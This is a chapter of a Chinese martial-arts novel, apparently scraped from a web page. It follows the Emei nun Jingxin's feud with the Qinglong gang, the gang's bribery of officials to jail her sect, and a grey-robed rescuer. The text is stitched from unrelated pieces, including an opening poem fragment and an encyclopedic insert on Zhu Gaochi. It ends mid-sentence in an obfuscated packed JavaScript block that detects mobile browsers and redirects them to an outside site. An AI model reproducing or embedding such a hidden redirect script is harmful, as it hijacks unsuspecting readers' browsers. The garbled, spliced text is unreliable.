宋代陆游的《梅花绝句》:“成都海棠十万株,繁华盛丽天下无。” 赞美了成都海棠花的繁盛绚丽,称其为天下独一无二的美景。 这些诗句从不同角度描绘了成都的自然风光、历史文化和繁华景象,展现了成都的独特魅力。” 董明龙一家四口领着静心师太几人,去家中休息,到了家门口,董明龙一家顿时傻了眼,只见自家门窗都被砸的稀碎,急忙进去一看,家中一片狼藉,粮食衣物散落一地,董明龙一家人目瞪口呆,然后捶胸顿足,嚎啕大哭,痛不欲生,静心师太连声劝慰,等几人稍微平静一些,静心师太道:“明龙,你们父子带我去青龙会的赌场,我和他们谈谈。”董明龙父子擦擦眼泪,领着静心师太去青龙会赌场,功夫不大,已经到了赌场门口,静心师太环顾四周,只见一条街几十间店铺,有酒馆,客栈,当铺,青楼,赌场,布庄,杂货铺,挂的都是青龙会旗号,静心师太心想:“青龙会不但插手酒馆,客栈,布庄,杂货铺这些平头百姓赖以生存的生意,与民争利,抢夺黎民百姓的饭碗,而且如此明目张胆,肆无忌惮的开设青楼赌场,看来已经买通了官府。”董明龙父子在赌场门口,对守门的几名大汉道:“几位哥哥,我们来找赌场当家的,请帮忙通报一声。”几名大汉斜着眼看看众人,道:“你找我们当家的,有什么事?”董明龙看看静心师太,静心师太道:“我家侄儿欠了你们赌债,我们今天来商量还钱。”其中一名大汉道:“你们等一会,我进去禀报。”转身进了赌场,一会儿功夫,又出来领着静心师太一行人进了赌场,只见赌场里人声鼎沸,上百人,围着十几张桌子,正在吆五喝六的推牌九,董章能一眼望去,突然一声大吼,冲上去揪住一人,大声道:“王三,你害的我好苦。”只见王三却不慌不忙,摇头晃脑哈哈笑道:“姓董的,今天又来赌钱了。”董章能怒吼道:“王三,枉我把你当成朋友,你竟然设局害我。”王三哈哈笑道:“姓董的,你别胡乱诬陷人,是你自己答应和我合伙押牌九,输了钱,当然一人一半,你他妈的想耍赖啊?”董章能还想说话,此时旁边冲上来十几名彪形大汉,大声喝道:“谁敢在这里闹事,不想活了。”王三趁董章能一愣神,挣脱董章能的双手,转身就跑,董章能抬脚就要去追,静心师太道:“孩子,别追了,我们办事要紧。”董章能闻言,只好悻悻停住脚步,跟着父亲,静心师太等人进了赌场内厅,内厅里大椅中,坐着一个彪形大汉,身后站着几个满脸横肉虎背熊腰的随从,见众人进来,也不客气,眼睛一斜直接问道:“姓董的,钱带来没有?”董明龙看看静心师太,没有说话,静心师太拱手道:“这位青龙会朋友,我是峨眉派掌门静心,这厢有礼了。”大汉瞅了瞅静心师太,不屑一顾道:“我不管你是什么峨眉派秃眉派,我就问你们,钱带来没有?你们听不懂啊?”静心师太皱皱眉头,道:“我侄儿并没有赌钱,是他的朋友王三押的牌九。”大汉嗤嗤一阵冷笑,道:“你侄儿和王三合伙,王三押牌九输了两千两银子,当然是一人一半。”静心师太脸色一沉,道:“我侄儿有眼无珠,误交歹人,就算一人一半,也不过一千两银子,怎么才十几天功夫,就要还三千两?”大汉厉声道:“他妈的,你装什么糊涂?赌场的银子,一天十分利,你侄儿是借了一千两,但是十几天利息,加上利滚利,就要还三千两,你们要是胆敢不还,我不但要让你们倾家荡产,还要把他妹妹抓来送青楼卖身还债。”董明龙父子一听,霎时眼都红了,就要上前拼命,静心师太一伸手,拦住二人,道:“你把我侄儿借条拿来,我给钱就是。”大汉哼了一声道:“算你识相,来人啊,把这小子借条拿来。”一个赌场账房将借条送上,静心师太接过借条,递给董章能,道:“孩子,你看看,是不是你写的借条?”董章能接过来一看,道:“师太,是我写的借条。”静心师太伸手拿回,内力到处,借条化为一片片碎屑,大汉见状,却是不慌不忙,一声令下,两旁冲出来几十名大汉,个个手持刀枪棍棒,气势汹汹,静心师太伸手从怀中取出几张银票,道:“这是三千两银票,你们看好。”说罢,气沉丹田手指发力,银票缓缓飞到大汉面前,大汉见静心师太内力竟然如此精湛,不禁心中一惊,脸上却是不动声色,伸手接过银票,看了看,正好三千两,道:“算你们识相,既然你们给了银两,那就两清了,你们赶紧滚吧。”静心师太面色冷峻,一言不发,一挥手,领着众人离出赌场。回到董家后,静心师太道:“明龙,你把家中收拾收拾,把房屋田地店铺都卖了,离开成都,隐姓埋名,去外地生活吧。”董明龙不禁一愣,道:“师太,我们不是给青龙会三千两银子了吗?他们不是说两清了吗?”静心师太道:“刚才在赌场,我就想教训他们,但是担心你们父子不会武功,可能会让你们受伤,所以我才忍了下来,青龙会如此猖狂,作恶多端,我会让他们恶贯满盈,你们一家赶紧离开成都,免得牵连你们。”董明龙想了一想,也就按静心师太所言,将家中房屋田地店铺都卖了,离开成都,隐姓埋名,去了外地生活。静心师太等董明龙一家人离开成都后,就去拜访了丐帮成都分舵舵主丁守庆,见面一问才知道,青龙会用这种阴毒手段害了很多成都的年轻人,上当的年轻人,十有八九都被害的倾家荡产,无力偿还的,家中姐妹被逼到青楼卖身,有的年轻人不忍牵连家人,只有自杀才能解脱。丐帮为了帮助那些受骗的成都子弟,和青龙会发生了很多次冲突,但是青龙会依仗官府势力,依然我行我素,丐帮反而被官府处处制肘多次打压,静心师太和丁守庆商量多时,决定由丁守庆派人打听青龙会在四川的买卖和巢穴,自己则带上几名弟子回到了青城山南宫世家,此时的南宫世家,静心师太的父母已经去世,当家人是静心师太的弟弟南宫海,南宫海见姐姐回来,心中欣喜,连忙请众人到客厅落座,佣人送上茶水后,南宫海道:“姐姐这次回来,好好在家中多住些日子,我们都很思念姐姐。”静心师太道:“二弟,这次我回来,是有一件事要和你商量。”南宫海道:“姐姐请讲。”于是,静心师太就将董明龙一家的遭遇,以及青龙会在赌场,设计陷害很多成都子弟之事一一告诉弟弟,南宫海听完,道:“姐姐打算怎么做?”静心师太道:“我已经请丐帮成都分舵舵主丁守庆,打听青龙会在四川的所有买卖和巢穴,他愿意和峨眉派联手,对付青龙会,这次回来,就是想请弟弟帮忙,既然官府不管不问,还帮助青龙会为虎作伥,我想峨眉派,南宫世家,丐帮,三家联手,派出高手,暗中就青龙会在四川的所有买卖巢穴全部荡平。”南宫海考虑片刻道:“青龙会如此作恶多端,恶贯满盈,峨眉派和南宫世家身为巴蜀武林领袖,自然不能任由青龙会荼毒百姓,自当为巴蜀百姓铲除祸害,请姐姐做主,南宫世家子弟愿意听从姐姐号令,赴汤蹈火,在所不辞。”静心师太闻言,心中欣喜,道:“好,峨眉派,南宫世家,丐帮三家联手,定然可以将青龙会赶出巴蜀。”两日后,南宫海亲自率领三百子弟,悄悄跟随静心师太回到峨眉,静心师太派人请来丁守庆,三人商量后,将南宫世家三百子弟,丐帮三百弟子,峨眉派两百女尼,分为八队,三日后开始行动。三天后,青龙会在巴蜀的八个堂口,突然遭到大批蒙面武林高手突然袭击,所有的酒馆客栈当铺青楼赌场都被打砸的一片狼藉,青龙会有些强横之徒,试图反抗,也被蒙面人杀得是落花流水,青龙会巴蜀分舵舵主王应林见势不妙,连忙带着残兵败将逃回泰山青龙谷,青龙会会主宇文山得知此事,勃然大怒,命人将王应林处死,然后召集会中骨干商议如何应对,议事厅中,宇文山公孙芳夫妻二人昂首坐在主位,长子宇文峰,次子宇文秀侍立两旁,左首一排坐的十二人,是青龙会十二长老,分别是四大阎罗,四大判官,四大鬼差,四大阎罗分别是移山阎罗,搬海阎罗,仵官阎罗,转轮阎罗,四大判官分别是杀生判官,夺命判官,勾魂判官,摄魄判官,四大鬼差分别是牛头鬼差,马面鬼差,黑无常鬼差,白无常鬼差,这十二长老原来是江湖□□高手,个个武艺超群身怀绝技,纵横江湖,罕逢敌手,乃江湖□□大名鼎鼎屈指可数的厉害人物,是宇文山不惜重金礼聘,三邀四请,才加入了加入了青龙会,宇文山对他们视若上宾,礼数周全,是青龙会引以为傲的镇会顶尖高手,右首两排十几人,是青龙会护法四魔四煞,是青龙会中,中年一代高手,个个本领出众武艺高强,青龙七星有的是宇文山的弟子,有的是江湖中招揽来的,是青龙会会年轻一代的高手,身手亦是不凡,宇文山缓缓开口道:“今天把大家找来,是为了巴蜀分舵八个堂口全部被蒙面人突袭,所有的酒馆客栈当铺青楼赌场都被打砸一空。”此言一出,议事厅中所有人都吃了一惊,面面相觑,十二长老中的老大移山阎罗道:“会主,可知道是什么人干的?”宇文山道:“根据我了解的情况,十几日前,峨眉派静心师太曾经到成都,我们的一个赌场里,为她侄儿的赌债和赌场主管交涉,这赌场主管没有给峨眉派面子,静心师太当时也没说什么,给了三千两银子,就走人了,这次袭击我们堂口的蒙面人,据逃回来的会众讲,其中有不少女子使得都是峨眉派剑法,还有很多男子使的是南宫世家的家传武艺,静心师太是当年南宫世家家主南宫信的嫡长女,现在的南宫世家家主南宫海的亲姐姐,所以我推测是静心师太联合南宫世家袭击了我们的八个堂口。”移山阎罗脸上横肉一抖,道:“会主,峨眉派和南宫世家胆大包天,竟敢和我们青龙会作对,请会主下令,我率兄弟们去峨眉派将峨眉派彻底剿灭,然后再去对付南宫世家。”宇文山手捻胡须道:“南宫世家和峨眉派在巴蜀称雄数百年,实力不容小觑,你们可有什么万全之策?”众人一听,低声细语讨论起来,这时,夫人公孙芳道:“夫君,我们可以从总舵调集五百名好手,再从河南河北山西山东各地分舵各调集三百名好手,共调集一千七百人,再由总舵派得力人手率领这一千多人,扮作香客贩夫走卒悄悄聚集在峨眉山下,趁其不备,先一举歼灭峨眉派,然后立刻赶往青城山南宫世家,打南宫世家一个措手不及,一举将峨眉派和南宫世家铲除,只要铲除了峨眉派和南宫世家,巴蜀一带再也没有人敢和我们青龙会作对。”此言一出,厅中众人纷纷点头,宇文山道:“好,就依夫人之言,你们谁愿意统领会众,去剿灭峨眉派和南宫世家?”移山阎罗道:“会主,我们兄弟承蒙你厚待,愿去剿灭峨眉派和南宫世家。”宇文山夫妻对视一眼,心意相通,宇文山点点头,道:“有十二长老前去,定可马到成功。”于是,宇文山下令,从青龙谷总舵挑选了五百名好手,由四大阎罗,四大判官,四大鬼差,十二位长老率领,秘密潜行去峨眉派。又从河南河北山西山东四省分舵各调集三百名好手,扮作香客,贩夫走卒秘密前往峨眉派。十几日后,青龙会十二长老率总舵五百名好手,和各分舵支援的一千两百名会众汇合后,第二天下午时分,这一千七百多人悄悄潜行到了峨眉派所在的玄女庵,静心师太剿灭青龙会四川分舵后,也让丐帮弟子注意来四川的江湖人士,但是没想到,青龙会等人竟然扮作香客,贩夫走卒秘密前来,所以静心师太也没有什么防备,此时正在庵中诵经,忽然听到庵外有大批人员脚步声传来,静心师太用心倾听,竟然都是一些习武之人的脚步声,静心师太心中一惊,知道有敌来犯,连忙发出一声长啸,庵中的三百多名峨眉派弟子听到啸声后,都冲到院子里集合,静心师太命众人带上兵器,然后打开庵门,走出去一看,只见玄女庵外,黑压压一群人,为首的是十几位六十岁上下,面目阴森的老者,静心师太道:“来者何人?为何聚众来我峨眉派?”十二长老中的老大移山阎罗道:“静心,我们乃青龙会十二长老,我乃十二长老之首移山阎罗,静心,你胆大包天,竟敢纠集南宫世家将我们青龙会在巴蜀的八个堂口,全部扫平,今日我奉会主之命,将你峨眉派彻底铲除。”静心师太道:“青龙会无恶不作,恶贯满盈,害了多少巴蜀子弟,你们身为武林高手,竟然为虎作伥,难道也不觉得羞耻?”移山阎罗哈哈笑道:“静心,人为财死鸟为食亡,青龙会重金礼聘我们兄弟,我们自然要为青龙会效力,废话少说,我们手底下见真章。”静心师太道:“移山阎罗,你们兄弟十二人也是江湖中成名已久的人物,难道想以多欺少?”移山阎罗哈哈笑道:“我们青龙会做事,一向只追求达到目的,不择手段,静心,你和你手下的尼姑,准备受死吧。”说罢,一挥手中兵刃,领着一千多青龙会部众,冲向峨眉派众人,静心师太见事已至此,多说无益,也一举手中长剑,命令众弟子迎敌。双方短兵相接开始厮杀,虽然峨眉派众弟子武艺高强,但青龙会这次调集的都是总舵和各地分舵好手,武功自然不弱,再加上人数是峨眉派弟子的几倍,峨眉派众弟子寡不敌众,很快就落了下风,被青龙会的部众团团包围,静心师太率领众弟子只能咬牙拼死血战。此时在玄女庵的后山密林中,有一名六十岁出头的男子,身着灰袍,正在树洞中睡觉,听到玄女庵中有人发出长啸,不由得一楞,连忙侧耳听去,不一会,就听到兵器碰撞,金铁交鸣,还夹杂女子惨叫之声,灰袍人心中大吃一惊,连忙从怀中掏出一张面具贴在脸上,又急匆匆用易容之术整理修饰一番,然后施展身形,疾步如飞赶往玄女庵,来到庵门前一看,只见黑压压一群黑衣男子正手持兵刃在围攻峨眉派众女尼,峨眉派众女尼虽然还在奋力拼杀,但是已经伤亡惨重显露败相,灰袍人一见,一个健步冲上前,以迅雷不及掩耳之势,从一名青龙会部众手中抢了一根镔铁棍,气沉丹田,双臂用力,对着青龙会部众开始攻击,俗话说枪挑一条线,棍扫一大片,铁棍到处,青龙会会众人仰马翻,惨叫连天,移山阎罗见灰袍人来势凶猛,于是下令让搬海阎罗,仵官阎罗,转轮阎罗三人率众和峨眉派众人厮杀,自己则带领杀生,夺命,勾魂,摄魄四判官,牛头,马面,黑无常,白无常四鬼差上前迎敌。只见灰袍人毫不畏惧,手中镔铁棍如神龙出海,凤舞九天,虎啸山林,猎豹扑兔,只打得移山阎罗等人节节败退,移山阎罗和四判官四鬼差联手合力勉强接了七八十招后,只觉得手臂酸麻,气血翻涌。灰袍人凝神聚气,将内力贯入镔铁棍中,一招狂风扫叶,牛头马面躲闪不及,发出两声惨叫,命丧当场,移山阎罗等人见兄弟惨死,一个个眼都红了,举起兵刃,发疯一样的攻向灰袍人,灰袍人不慌不忙,沉着应战,手中镔铁棍指东打西,平南扫北,前后攻击,上下翻飞,如同一条巨大黑龙,卷起无边无际风雨雷电,只感觉乌云翻滚,巨龙盘旋,镔铁棍挥动如风,风雨不透,移山阎罗等人只感觉棍影重重如山似海,风雷呼啸步步惊魂,看似毫无招式毫无章法,其实却是棍走龙蛇,随意洒脱,看似漫不经心随意而为,其实却是无招胜有招,无形胜有形,无相灭有相,无法破有法,如同一张无形无相漫无边际的棍网将几人团团包围,移山阎罗等人只感觉山川压顶风云变色,自己几个人如同以卵击石螳臂当车,蚍蜉撼树飞蛾扑火,不禁头皮发麻不寒而栗,灰袍客得势不饶人,一招风卷残雪,砸向敌人,勾魂,摄魄两判官抵挡不住,被铁棍砸中,气绝身亡,移山阎罗等人大骇,倾尽全力杀招尽出,灰袍人找准破绽,又是一招旋风惊云将黑白无常两人打死,移山阎罗和杀生,夺命两判官见灰袍人如此凶猛,吓得转身就跑,灰袍人一声冷笑,伸手将镔铁棍掰成三段,看准三人,用力掷出,三段镔铁棍迅疾如电,如同强弩射出一般,带着破风之声,正中三人后背,移山阎罗和杀生,夺命两判官三人惨叫一声命丧黄泉,灰袍人俯身捡起几块石头,内力到处,石头碎成无数小块,灰袍客气沉丹田,双臂用力,将小石块奋力射出,只听无数小石块带着破空之声,如箭矢一般飞向青龙会部众,青龙会部众躲闪不急,瞬间就有几十人倒地,灰袍人如法炮制,双手不断捡起石块捏碎后再射向青龙会部众,青龙会部众躲闪不急,惨叫连天,搬海阎罗,仵官阎罗,转轮阎罗三人见势不妙,转身想跑。却被灰袍人施展鹰翼追影轻功,几个健步追上,手中石块飞出,搬海阎罗,仵官阎罗,转轮阎罗三人发出几声惨叫,气绝身亡,剩下的青龙会部众见十二长老全部阵亡,一个个吓得魂飞魄散,拼命逃窜,灰袍人毫不留情,紧追不舍,手中小石块不断飞出,石块所到之处,青龙会部众惨叫哀嚎,死伤惨重。静心师太率众弟子也紧随其后追击掩杀,看得清清楚楚,真真切切,心中暗自惊讶,这灰袍人的内力已经达到飞花摘叶皆可伤人,已然是炉火纯青登峰造极境界,静心师太见灰袍人还在追杀青龙会部众,连忙喊道:“大侠,请留步。”灰袍人却是佯装未闻,只是奋力追杀青龙会部众,青龙会部众除了一部分逃入密林中,其他人等都被灰袍人所灭,静心师太疾步如飞,想追上灰袍人,却见灰袍人身形似电,转瞬间已经消失不见踪迹,静心师太看着道路两旁被灰袍人击杀的青龙会会众,足足有好几百人,心中惊愕万分,镇定心神后,命弟子救治本派伤员,打扫战场,掩埋尸体。再说青龙会逃走的一部分会众,一个个吓得魂不附体,逃回青龙谷后,将玄女庵惨败之事禀告给宇文山夫妻,宇文山夫妻大吃一惊,连忙召集两个儿子和四魔四煞及青龙七星,商量对策,宇文峰宇文秀兄弟二人,四魔四煞及青龙七星,听说十二长老全军覆灭,一千多部众只逃回来六七百人,禁不住大吃一惊,目瞪口呆,宇文山怒发冲冠,目眦欲裂,怒不可遏,要亲自带领四魔四煞和青龙七星,倾巢而出去剿灭峨眉派,公孙芳连忙劝道:“夫君,这灰袍人不知道是峨眉派的什么人,竟然如此维护峨眉派,据逃回来的会众所言,此人内力已达飞花摘叶皆可伤人的境界,已然炉火纯青登峰造极,夫君虽然武艺高强,但是在没有搞清楚灰袍人底细之前,不能再贸然行事,以身犯险。”宇文山听了夫人所言,平静一下心情,道:“这灰袍人,也不知道到底是什么来头,武功竟然如此高强。竟然可以碎石成沙,以沙为箭,杀了我近千会众,此仇不报,誓不为人。”公孙芳道:“夫君,这灰袍人武功竟然如此高强,十二长老联手,竟然也全军覆没,此人武功骇世惊俗,为什么武林江湖之中,竟然默默无闻,我思前想后,纵然是天下第一人金翅大鹏叶天羽也不过如此。”宇文山摇摇头道:“听说金翅大鹏叶天羽远居南海炎黄岛,久已不履中原江湖,再说峨眉派的静心师太,也就是当年南宫世家的南宫婉儿,当年为了叶天羽,不顾颜面三顾炎黄岛,却惨遭叶天羽冷酷无情,视如草芥,只能无功而返,南宫婉儿因此颜面尽失,受尽天下人耻笑,心灰意冷出家为尼,听说她痛恨叶天羽薄情寡义,已经发誓和叶天羽恩断义绝势不两立。”公孙芳沉思片刻,道:“江湖传闻,叶天羽所练的天罡纯阳神功需童子之身方可练成,而且当年叶天羽在年少之时得了无尘禅师苦练数十年的天罡纯阳内力,听说这神功若是娶妻生子,就会自然消散,想必是叶天羽贪图天下第一高手的名声,所以才对南宫婉儿冷如冰霜弃若敝履,让南宫婉儿这样心高气傲自命不凡的世家嫡女丢尽颜面,既然二人已经恩断义绝势不两立,那叶天羽自然不会再出手相助峨眉,夫君,我只是万万没想到,武林江湖中,除了金翅大鹏叶天羽,竟然还隐藏这样一个绝顶高手,纵然我们倾尽全力,恐怕也难以取胜,只会徒增部众伤亡,所以我们只可智取为上,万万不可逞强蛮干。”宇文山想了又想,平复一下心情,道:“夫人有何妙计?”公孙芳道:“夫君,当今皇上,正在到处搜寻叛逆唐赛儿,听说唐赛儿已经出家为尼,皇上正命锦衣卫,侦骑四出,对全国的道观和尼姑庵更是严加盘查,这峨眉派玄女庵尼姑众多,我即刻飞鸽传书,写信给我大哥公孙宝,请他找姑妈公孙燕之子,代王朱桂,代王朱桂是太祖第十三子,他的正妃徐氏是当今徐皇后的亲妹妹,权势滔天,只要我们贿以重金,请代王朱桂吩咐锦衣卫以私通包庇钦犯的罪名,将峨眉派全派子弟全部抓入监牢,严刑拷打,若是峨眉派有弟子受不了酷刑,便可屈打成招,将峨眉派扣上私通包庇钦犯的罪名,到时候就可以兵不血刃将峨眉派彻底铲除,南宫世家现在的当家人南宫海是峨眉派静心的弟弟,肯定会前去设法营救,再让锦衣卫将南宫海等人抓人牢中,用酷刑逼他们屈打成招,将南宫世家也扣上私通包庇反贼的罪名,峨眉派和南宫世家一旦被扣上私通反贼,包庇钦犯的罪名,纵然灰袍人武艺再高,也不能明目张胆对抗官府,到时候也只能眼睁睁看着峨眉派和南宫世家被官府剿灭而无力回天,这样一来,我们可以不费吹灰之力,将峨眉派和南宫世家彻底铲除。”宇文山闻言连连点头,道:“夫人高见,此计甚好,定然可以将峨眉派和南宫世家一网打尽彻底铲除,我们依计而行。” 再说辽东龙城镇北侯公孙宝,接到青龙会会主夫人,妹妹公孙芳的书信后,心中也是震惊不已,万万没想到,武林江湖中,除了天下第一高手金翅大鹏叶天羽,竟然还有一个如此绝顶高手,公孙文思前想后,也搞不清灰袍人来历,也不敢轻举妄动,只好派人联系皇贵妃公孙燕之子,表弟代王朱桂,请他多多费心,通过官府和锦衣卫,想办法栽赃陷害,一举铲除峨眉派和南宫世家,代王朱桂收了镇北侯送来的大批金银珠宝后,不由得心花怒放,又让镇北侯送了一千两黄金,给负责巴蜀盘查唐赛儿踪迹的锦衣卫孙氏兄弟,代王朱桂亲自出面,让孙氏兄弟借机铲除峨眉派和南宫世家,孙氏兄弟既想巴结代王朱桂,又收了镇北侯一千两黄金,于是便假公济私,诬陷峨眉派勾结包庇钦犯唐赛儿,将峨眉派三百多尼姑全部抓进成都府监牢,妄图屈打成招,一举消灭峨眉派,南宫世家的南宫海得知,姐姐静心师太和峨眉派全部被官府所抓,心急如焚,连忙疏通关系,想解救峨眉派众人,孙氏兄弟,得了青龙会的好处,便借口南宫世家和峨眉派相互勾结,私通包庇钦犯,将南宫世家的主要首脑几十人,也全部抓入成都府监牢,对他们严刑拷问,施以酷刑,冤枉他们与钦犯唐赛儿有勾结,想屈打成招,一举消灭峨眉派和南宫世家,静心师太和南宫海虽然武功卓越,但却不敢公然对抗官府,眼见峨眉派一众尼姑,和南宫世家一众首领,都被锦衣卫用酷刑摧残的伤痕累累,遍体鳞伤,只能心中悲苦,咬紧牙关,拼死也不能承认与唐赛儿有什么关联。这日,孙氏兄弟正在房中喝酒,正商量明日如何再加大酷刑,将峨眉派和南宫世家屈打成招,忽然间,房门悄悄打开,两人打眼一看,只见一个高高胖胖的圆脸男子,面无表情,穿着一身灰袍,正站在门口,孙氏兄弟心中一惊,心想我房屋周围,足足布防了近百名锦衣卫,这胖子怎么悄无声息的来到门前?”孙老大和孙老二两人对视一眼,站起身来到灰袍人面前,道:“这位朋友,从哪里来?”灰袍人冷冷一笑道:“我是索命的无常,来取你们两人的狗命。”孙氏兄弟闻言,话不多说,两人同时出手,身形暴起,施展分筋错骨手法,向灰袍人发起进攻,灰袍人不慌不忙,左右手如闪电一般,瞬间抓住孙氏兄弟的手腕,没等孙氏兄弟反应过来,双手用力,已将孙氏兄弟身体拎了起来,然后猛的往下一摔,孙氏兄弟惨叫一声,摔倒在地,手腕骨头已被捏碎,守在四周的锦衣卫听到声音,赶忙冲了过来,灰袍人冷冷的道:“谁敢进来,我就一掌打死他们。”说罢,两掌击出,房间的墙壁瞬间被击出两个大洞,那些锦衣卫本来就是孙氏兄弟的手下,武功也不及孙氏兄弟,眼见孙氏兄弟如此惨状,灰袍人又如此威猛,一个个站在房间门口不敢进来,灰袍人对孙老大道:“让他们都滚蛋,你们两个带我去监牢,见峨眉派的静心师太。”孙氏兄弟,此时已经身受重伤,根本就站不起来,灰袍人大声喝到:“进来四个,扶着他们,带我去监牢。”门口的锦衣卫哆哆嗦嗦的进来四个,分头将孙氏兄弟搀起,然后在头前带路,领着灰袍人向监牢而去,到了监牢门口,孙氏兄弟强忍疼痛,让手下打开监牢锁链,一行人进了监牢,径直来到静心师太的牢房门口,此时的静心师太,在牢房里听到动静,强忍疼痛,抬头望去,只见一名灰袍人,上前一把扯住牢门上锁链,铁链顿时断作两截,灰袍人推开牢门,对静心师太拱手施礼道:“静心师太,在下贡嘎雪山人氏,听说师太有难,特来解救。”静心师太定睛一看,正是上次打退青龙会的灰袍客,于是疑惑问道:“这位英雄,我与你素不相识,为何屡次救我?”灰袍客道:“我幼年时曾受南宫世家先祖大恩,时刻铭记在心,只恨没有机会报答,听闻师太有难,所以前来营救,请师太带着门内弟子,和我一起出这牢房。”静心师太摇摇头,道:“这位英雄,多谢了,这两个狗官诬陷我峨眉派勾结包庇钦犯唐赛儿,我此刻若是逃走,峨眉派的罪名,就再也洗不清了,天下虽大,再无我峨眉派容身之处。”灰袍客道:“师太,这两个狗官,正在商量如何酷刑拷打你们,妄图屈打成招,你们在这里,只怕凶多吉少。”静心师太道:“这位英雄,若是罪名洗不清,我定然不能出狱。”灰袍客挠挠头,道:“不知师太可有何良策?”静心师太考虑片刻,道:“恩公,我俗家有个表妹张氏,嫁给了当朝太子朱高炽,这些年我遁入空门,和她没有什么来往,但幼年时感情尚好,所以,我想请恩公,替我送一封书信给我表妹,请她帮忙,为我峨眉派和南宫世家洗去冤屈。”灰袍客道:“谨遵师太吩咐。”于是,命孙氏兄弟让手下拿来笔墨纸砚,静心师太拿起纸笔,将书信写好,递给灰袍客,道:“有劳恩公,请问您尊姓大名?”灰袍客犹豫片刻,道:“我乃贡嘎雪山人氏吴忠。”静心师太深施一礼,道:“多谢吴恩公,大恩大德日后必报。”吴忠恭恭敬敬的回礼,道:“我深受南宫世家大恩,这些小事,无足挂齿。”然后转身对孙氏兄弟道:“我现在去为静心师太送信,你兄弟二人和你的手下,不得再冒犯峨眉派和南宫世家的人。”孙氏兄弟忙不迭的答应,吴忠伸手从怀中掏出一个瓷瓶,打开后,取出两颗药丸,命孙氏兄弟服下,孙氏兄弟心中虽然不愿,但是也不敢不服,只好勉强服下药丸,吴忠道:“这两颗是断骨丸,若无解药,三个月后,你们会全身骨头断裂而死。”孙氏兄弟吓得面无人色,连声求饶,吴忠道:“你们在这里好好服侍静心师太等人,我送过信,自会回来为你们解毒。”孙氏兄弟满脸愁苦,只能低头答应,静心师太见吴忠考虑的如此周全,心中万分感激,道:“此去京城,千里迢迢,辛苦吴恩公了,大恩大德永远铭记在心。”吴忠道:“师太不必客气,我有一匹千里良驹,可以日行千里夜行八百,我速去速回,请师太安心在此等候。”说罢,转身离去,吴忠出了监牢之后,施展轻功,功夫不大,已经出了成都府,到了城外,吴忠发出一声响哨,只见一头巨鹰如箭矢一般降落在吴忠身旁,吴忠道:“鹰老弟,辛苦你了,给我往东北方向京城飞。”说罢,骑上巨鹰,巨鹰连扇翅膀,转眼之间,就消失在茫茫夜空之中。几日后,吴忠已经到了北京城外,在城外僻静之处从巨鹰背上下来,然后独自一人进了京城,吴忠进城之后,问清楚太子府地址,功夫不大,就来到太子府门口,向守卫的兵丁施礼道:“这位兵哥儿,我受太子妃亲戚之托,特来送信,请代为通报。”为首的兵丁满脸倨傲,斜着眼睛道:“太子府认亲的人,多了去,你算那颗葱?”吴忠道:“兵哥儿,我受太子妃张氏的表姐南宫婉儿,也就是现在的峨眉派掌门静心师太所托,千真万确,不敢有半句谎言。”为首的兵丁道:“你慢慢等着,等太子妃有空的时候,我再代你通报。”吴忠强忍心中怒气,从怀中掏出了两粒珍珠,道:“兵哥儿,这些俗礼,不成敬意,请您笑纳,帮忙通融一下,我确实有急事禀报。”那兵丁头目斜眼一看,见吴忠手中的两粒珍珠,有指甲盖大小,珠光圆润,晶莹剔透,每颗最少值几百两纹银,立马眼睛就笑开花,伸手拿过珍珠,道:“你在这里等着,我现在就为你通报。”转身进了太子府,功夫不大,兵丁头目走出府门,对吴忠喊道:“喂,胖子,跟我一起走,去拜见太子妃。”吴忠紧跟着兵丁身后,穿过几重院落,来到一间大厅,进门一看,上首坐着一位雍容华贵风韵犹存的中年妇人,几名侍卫和几名侍女,侍立两旁,兵丁头目上前跪拜施礼道:“启禀太子妃,送信的人已经带到。”太子妃张氏点点头,对吴忠道:“你是受了我表姐南宫婉儿之托,来送信的吗?”吴忠道:“正是。”身边的侍卫大声喝到:“大胆狂徒,见了太子妃,还不下跪?”吴忠淡定从容不卑不亢道:“我乃山野草民,不知礼法,请太子妃勿怪。”太子妃见吴忠虽然长得高高胖胖,一副圆脸,毫不出众,但走路神情却是龙行虎步威风八面,顾盼之间雄姿英发,一看便知不是普通俗人,于是道:“不必多礼。”又吩咐身边侍女道:“你们将书信取来给我看看。”身边的侍女,上前几步,从吴忠手中接过书信,呈给太子妃,太子妃打开书信一看,眉头深锁,思索片刻后,对吴忠道:“这位英雄,你暂且回去,我即刻就来安排。”吴忠拱手施礼,大踏步出了太子府,太子妃张氏命令手下侍女去请朱高炽过来,功夫不大,朱高炽带领几个随从,匆匆赶来,朱高炽乃永乐大帝朱棣的嫡长子,其母为仁孝文皇后徐氏,公元1378年出生于中都凤阳府。洪武二十八年(公元1395年),朱高炽被册封为燕王世子。由明太祖朱元璋接到都城南京亲自教导,深得太祖赏识,建文帝朱允炆继位后,朱高炽返回北平。朱棣起兵发动靖难之役期间,以世子朱高炽守北平城。朱高炽善抚士卒,仅以万人拒南军李景隆五十万之众围攻,城赖以全。朱棣称帝后,于永乐二年(公元1404年)将朱高炽正式册立为皇太子,永乐七年(公元1409年)至永乐二十二年(公元1424年)朱高炽曾六次监国协助处理政务,能力出众,备受赞誉。 等张氏将事情的来龙去脉告诉朱高炽,朱高炽颇有祖父朱元璋之风,对亲情极为看重,不禁恼怒道:“这些锦衣卫总是胡乱行事,我现在就命人去成都府,将你表姐一行人释放出来。”张氏道:“夫君,且慢,你有所不知,我表姐原是南宫世家嫡长女,又是峨眉派高徒,年轻时为情所伤,所以才出家为尼,如今是峨眉派掌门,一身武功,炉火纯青,出神入化,我想亲自去成都府一趟,将她解救出来,请她为我们的宝儿做个贴身护法。”朱高炽一听,思索片刻,知道夫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727714|189533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 